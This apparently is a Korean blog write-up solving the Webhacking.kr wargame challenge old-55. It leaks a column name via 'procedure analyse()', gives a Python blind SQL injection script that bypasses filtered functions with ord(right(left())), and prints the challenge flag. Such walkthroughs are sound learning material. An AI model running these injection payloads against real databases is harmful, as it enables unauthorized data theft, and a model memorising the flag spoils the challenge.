on
[Webhacking.kr] old-55
[Webhacking.kr] old-55
마우스 좌표에 따라 이미지가 이동한다.
이미지가 왼쪽 상단에 위치하게 되면 위처럼 GAME OVER alert창이 뜬다.
여기서 확인할 건 다한 것 같으니 rank를 눌러봤다.
rank와 id, score 표가 있었고, 그 아래엔 DB에 관련된 정보가 노출되어 있다.
score부분이 링크로 되어있어 클릭해봤다.
id와 score가 뜨면서 url 파라미터 score가 추가됐다.
다른 사람들의 score를 클릭해도 똑같은 id가 출력되는 것을 보면 select 결과의 맨 위 데이터를 가져오는 것 같다.
이제 아래에 있는 php코드를 살펴보자.
mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");
id와 score, flag가 DB에 삽입되는 것 같다.
flag를 알아내야 하는데 지금은 flag의 column명을 모른다.
flag를 알아내기 위해서는 flag의 column명이 필요하다.
procedure analyse();를 사용하면 실행중인 column에 대한 정보를 얻을 수 있다.
mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");
위 코드를 봤을 때 flag column의 위치는 3번째일 것이다.
아래와 같이 작성해볼 수 있을 것 같다.
score=2147483647 limit 2,1 procedure analyse();
작성결과 flag의 column명을 알아냈다. → p4ssw0rd_1123581321
Blind SQL Injection을 하기에 앞서 참/거짓 쿼리를 보냈을 때 출력되는 문자열을 알아봤다.
참 쿼리를 보내면 id : jusb3 // 2147483647가 출력된다.
거짓 쿼리를 보내면 id : //가 출력된다.
이제 필터링을 알아보자.
mid, substr, ascii, char, substring 등 다섯가지 경우가 필터링 되었다.
이제 exploit 코드를 작성해보자.
import requests length = 1 while True : url = "https://webhacking.kr/challenge/web-31/rank.php" query = "?score=2147483647 and length(p4ssw0rd_1123581321)=" + str(length) + "#" result = requests.get(url+query) if "id : jusb3 // 2147483647" in result.text : print("flag length:", length) break print(length) length+=1 flag = "" for i in range(1, length + 1) : for c in range(33, 127) : query="?score=2147483647 and ord(right(left(p4ssw0rd_1123581321," + str(i) + "), 1)) = "+ str(c) +"#" result = requests.get(url+query) if "id : jusb3 // 2147483647" in result.text : flag += chr(c) print("FLAG :", flag) break
flag length : 31
flag : FLAG{easy_peasy_lemon_squeezy!}
auth창에 flag를 입력하자.
old-55 해결!
from http://pd6156.tistory.com/202 by ccl(A) rewrite - 2021-11-05 16:26:50